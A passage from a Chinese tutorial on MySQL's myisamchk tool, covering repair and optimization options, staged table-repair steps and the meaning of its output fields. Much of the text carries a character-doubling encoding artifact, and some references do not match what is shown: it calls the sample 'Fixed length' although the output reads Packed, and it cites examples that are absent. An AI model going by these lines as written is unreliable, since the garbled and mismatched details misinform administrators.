進(jìn)行修復(fù),試圖從數(shù)據(jù)文件恢復(fù)每一行。一般情況會發(fā)現(xiàn)大量的垃圾行。不要使用該選項,除非你不顧后果。
--force, -f
覆蓋舊的中間文件(文件名類似tbl_name.TMD),而不是中斷
--keys-used=val, -k val
對于myisamchk,該選項值為位值,說明要更新的索引。選項值的每一個二進(jìn)制位對應(yīng)表的一個索引,其中第一個索引對應(yīng)位0。
選項值0禁用對所有索引的更新,可以保證快速插入。通過myisamchk -r可以重新激活被禁用的索引。
--parallel-recover, -p
與-r和-n的用法相同,但使用不同的線程并行創(chuàng)建所有鍵。
--quick,-q
不修改數(shù)據(jù)文件,快速進(jìn)行修復(fù)。
--recover, -r
可以修復(fù)幾乎所有一切問題,除非唯一的鍵不唯一時(對于MyISAM表,這是非常不可能的情況)。如果你想要恢復(fù)表,
這是首先要嘗試的選項。如果myisamchk報告表不能用-r恢復(fù),則只能嘗試-o。
在不太可能的情況下-r失敗,數(shù)據(jù)文件保持完好)。
--safe-recover, -o
使用一個老的恢復(fù)方法讀取,按順序讀取所有行,并根據(jù)找到的行更新所有索引樹。這比-r慢些,
但是能處理-r不能處理的情況。該恢復(fù)方法使用的硬盤空間比-r少。一般情況,你應(yīng)首先用-r維修,如果-r失敗則用-o。
--sort-recover, -n
強(qiáng)制myisamchk通過排序來解析鍵值,即使臨時文件將可能很大。
5.myisamchk的其他選項
myisamchk支持以下表檢查和修復(fù)之外的其它操作的選項:
--analyze,-a
分析鍵值的分布。這通過讓聯(lián)結(jié)優(yōu)化器更好地選擇表應(yīng)該以什么次序聯(lián)結(jié)和應(yīng)該使用哪個鍵來改進(jìn)聯(lián)結(jié)性能。
要想獲取分布相關(guān)信息,使用myisamchk --description --verbose tbl_name命令或SHOW KEYS FROM tbl_name語句。
--sort-index, -S
以從高到低的順序排序索引樹塊。這將優(yōu)化搜尋并且將使按鍵值的表掃描更快。
--set-auto-increment[=value], -A[value]
強(qiáng)制從給定值開始的新記錄使用AUTO_INCREMENT編號(或如果已經(jīng)有AUTO_INCREMENT值大小的記錄,應(yīng)使用更高值)。
如果未指定value,新記錄的AUTO_INCREMENT編號應(yīng)使用當(dāng)前表的最大值加上1。
--description, -d
打印出關(guān)于表的描述性信息。
例如:
[root@qa-sandbox-1 mysql]# myisamchk -d user.MYI
MyISAM file: user.MYI
Record format: Packed
Character set: latin1_swedish_ci (8)
Data records: 6 Deleted blocks: 1
Recordlength: 346
table description:
Key Start Len Index Type
1 1 180 unique char packed stripped
181 48 char stripped
6.如何修復(fù)表
檢查你的表
如果你有很多時間,運(yùn)行myisamchk *.MYI或myisamchk -e *.MYI。使用-s(沉默)選項禁止不必要的信息。
如果mysqld服務(wù)器處于宕機(jī)狀態(tài),應(yīng)使用--update-state選項來告訴myisamchk將表標(biāo)記為'檢查過的'。
簡單安全的修復(fù)
首先,試試myisamchk -r -q tbl_name(-r -q意味著“快速恢復(fù)模式”)
如果在修復(fù)時,你得到奇怪的錯誤(例如out of memory錯誤),或如果myisamchk崩潰,到階段3。
困難的修復(fù)
只有在索引文件的第一個16K塊被破壞,或包含不正確的信息,或如果索引文件丟失,你才應(yīng)該到這個階段。在這種情況下,需要創(chuàng)建一個新的索引文件。按如下步驟操做:
1. 把數(shù)據(jù)文件移到安全的地方。
2. 使用表描述文件創(chuàng)建新的(空)數(shù)據(jù)文件和索引文件:
3. shell> mysql db_name
4. mysql> SET AUTOCOMMIT=1;
5. mysql> TRUNCATE TABLE tbl_name;
6. mysql> quit
如果你的MySQL版本沒有TRUNCATE TABLE,則使用DELETE FROM tbl_name。
7. 將老的數(shù)據(jù)文件拷貝到新創(chuàng)建的數(shù)據(jù)文件之中。(不要只是將老文件移回新文件之中;你要保留一個副本以防某些東西出錯。)
回到階段2?,F(xiàn)在myisamchk -r -q應(yīng)該工作了。(這不應(yīng)該是一個無限循環(huán))。
你還可以使用REPAIR TABLE tbl_name USE_FRM,將自動執(zhí)行整個程序。
非常困難的修復(fù)
只有.frm描述文件也破壞了,你才應(yīng)該到達(dá)這個階段。這應(yīng)該從未發(fā)生過,因為在表被創(chuàng)建以后,描述文件就不再改變了。
1. 從一個備份恢復(fù)描述文件然后回到階段3。你也可以恢復(fù)索引文件然后回到階段2。對后者,你應(yīng)該用myisamchk -r啟動。
2.
如果你沒有進(jìn)行備份但是確切地知道表是怎樣創(chuàng)建的,在另一個數(shù)據(jù)庫中創(chuàng)建表的一個拷貝。刪除新的數(shù)據(jù)文件,然后從其他數(shù)據(jù)庫將描述文件和索引文件移到破壞
的數(shù)據(jù)庫中。這樣提供了新的描述和索引文件,但是讓.MYD數(shù)據(jù)文件獨(dú)自留下來了。回到階段2并且嘗試重建索引文件。
7.清理碎片
對Innodb 表則可以通過執(zhí)行以下語句來整理碎片,提高索引速度:
ALTER TABLE tbl_name ENGINE = Innodb;
這其實是一個 NULL 操作,表面上看什么也不做,實際上重新整理碎片了。
對myisam表格,為了組合碎片記錄并且消除由于刪除或更新記錄而浪費(fèi)的空間,以恢復(fù)模式運(yùn)行myisamchk:
shell> myisamchk -r tbl_name
你可以用SQL的OPTIMIZE TABLE語句使用的相同方式來優(yōu)化表,OPTIMIZE TABLE可以修復(fù)表并對鍵值進(jìn)行分析,并且可以對索引樹進(jìn)行排序以便更快地查找鍵值。
8.建立表檢查計劃
運(yùn)行一個crontab,每天定期檢查所有的myisam表格。
35 0 * * 0 /path/to/myisamchk --fast --silent /path/to/datadir/*/*.MYI
9.獲取表的信息
myisamchk -d tbl_name:以“描述模式”運(yùn)行myisamchk,生成表的描述
myisamchk -d -v tbl_name: 為了生成更多關(guān)于myisamchk正在做什么的信息,加上-v告訴它以冗長模式運(yùn)行。
myisamchk -eis tbl_name:僅顯示表的最重要的信息。因為必須讀取整個表,該操作很慢。
myisamchk -eiv tbl_name:這類似 -eis,只是告訴你正在做什么。
10.Myisamchk產(chǎn)生的信息解釋
MyISAM file
ISAM(索引)文件名。
File-version
ISAM格式的版本。當(dāng)前總是2。
Creation time
數(shù)據(jù)文件創(chuàng)建的時間。
Recover time
索引/數(shù)據(jù)文件上次被重建的時間。
Data records
在表中有多少記錄。
Deleted blocks
有多少刪除的塊仍然保留著空間。你可以優(yōu)化表以使這個空間減到最小。參見第7章:優(yōu)化。
Datafile parts
對動態(tài)記錄格式,這指出有多少數(shù)據(jù)塊。對于一個沒有碎片的優(yōu)化過的表,這與Data records相同。
Deleted data
不能回收的刪除數(shù)據(jù)有多少字節(jié)。你可以優(yōu)化表以使這個空間減到最小。參見第7章:優(yōu)化。
Datafile pointer
數(shù)據(jù)文件指針的大小,以字節(jié)計。它通常是2、3、4或5個字節(jié)。大多數(shù)表用2個字節(jié)管理,但是目前這還不能從MySQL控制。
對固定表,這是一個記錄地址。對動態(tài)表,這是一個字節(jié)地址。
Keyfile pointer
索引文件指針的大小,以字節(jié)計。它通常是1、2或3個字節(jié)。大多數(shù)表用 2 個字節(jié)管理,但是它自動由MySQL計算。
它總是一個塊地址。
Max datafile length
表的數(shù)據(jù)文件(.MYD文件)能夠有多長,以字節(jié)計。
Max keyfile length
表的鍵值文件(.MYI文件)能夠有多長,以字節(jié)計。
Recordlength
每個記錄占多少空間,以字節(jié)計。
Record format
用于存儲表行的格式。上面的例子使用Fixed length。其他可能的值是Compressed和Packed。
table description
在表中所有鍵值的列表。對每個鍵,給出一些底層的信息:
Key
該鍵的編號。
Start
該索引部分從記錄的哪里開始。
Len
該索引部分是多長。對于緊湊的數(shù)字,這應(yīng)該總是列的全長。對字符串,它可以比索引的列的全長短些,
因為你可能會索引到字符串列的前綴。
Index
unique或multip(multiple)。表明一個值是否能在該索引中存在多次。
Type
該索引部分有什么數(shù)據(jù)類型。這是一個packed、stripped或empty選項的ISAM數(shù)據(jù)類型。
Root
根索引塊的地址。
Blocksize
每個索引塊的大小。默認(rèn)是1024,但是從源碼構(gòu)建MySQL時,該值可以在編譯時改變。
Rec/key
這是由優(yōu)化器使用的統(tǒng)計值。它告訴對該鍵的每個值有多少條記錄。唯一鍵總是有一個1值。
在一個表被裝載后(或變更很大),可以用myisamchk -a更新。如果根本沒被更新,給定一個30的默認(rèn)值。
在上面例子的表中,第9個鍵有兩個table description行。這說明它是有2個部分的多部鍵。
Keyblocks used
鍵塊使用的百分比是什么。當(dāng)在例子中使用的表剛剛用myisamchk重新組織時,該值非常高(很接近理論上的最大值)。
Packed
MySQL試圖用一個通用后綴壓縮鍵。這只能被用于CHAR/VARCHAR/DECIMAL列的鍵。對于左部分類似的長字符串,
能顯著地減少使用空間。在上面的第3個例子中,第4個鍵是10個字符長,可以減少60%的空間。
Max levels
對于該鍵的B樹有多深。有長鍵的大表有較高的值。
Records
表中有多少行。
M.recordlength
平均記錄長度。對于有定長記錄的表,這是準(zhǔn)確的記錄長度,因為所有記錄的長度相同。
Packed
MySQL從字符串的結(jié)尾去掉空格。Packed值表明這樣做達(dá)到的節(jié)約的百分比。
Recordspace used
數(shù)據(jù)文件被使用的百分比。
Empty space
數(shù)據(jù)文件未被使用的百分比。
Blocks/Record
每個記錄的平均塊數(shù)(即,一個碎片記錄由多少個連接組成)。對固定格式表,這總是1。該值應(yīng)該盡可能保持接近1.0。
如果它變得太大,你可以重新組織表。參見第7章:優(yōu)化。
Recordblocks
多少塊(鏈接)被使用。對固定格式,它與記錄的個數(shù)相同。
Deleteblocks
多少塊(鏈接)被刪除。
Recorddata
在數(shù)據(jù)文件中使用了多少字節(jié)。
Deleted data
在數(shù)據(jù)文件中多少字節(jié)被刪除(未使用)。
Lost space
如果一個記錄被更新為更短的長度,就損失了一些空間。這是所有這樣的損失之和,以字節(jié)計。
Linkdata
當(dāng)使用動態(tài)表格式,記錄碎片用指針連接(每個4 ~ 7字節(jié))。 Linkdata指這樣的指針使用的內(nèi)存量之和。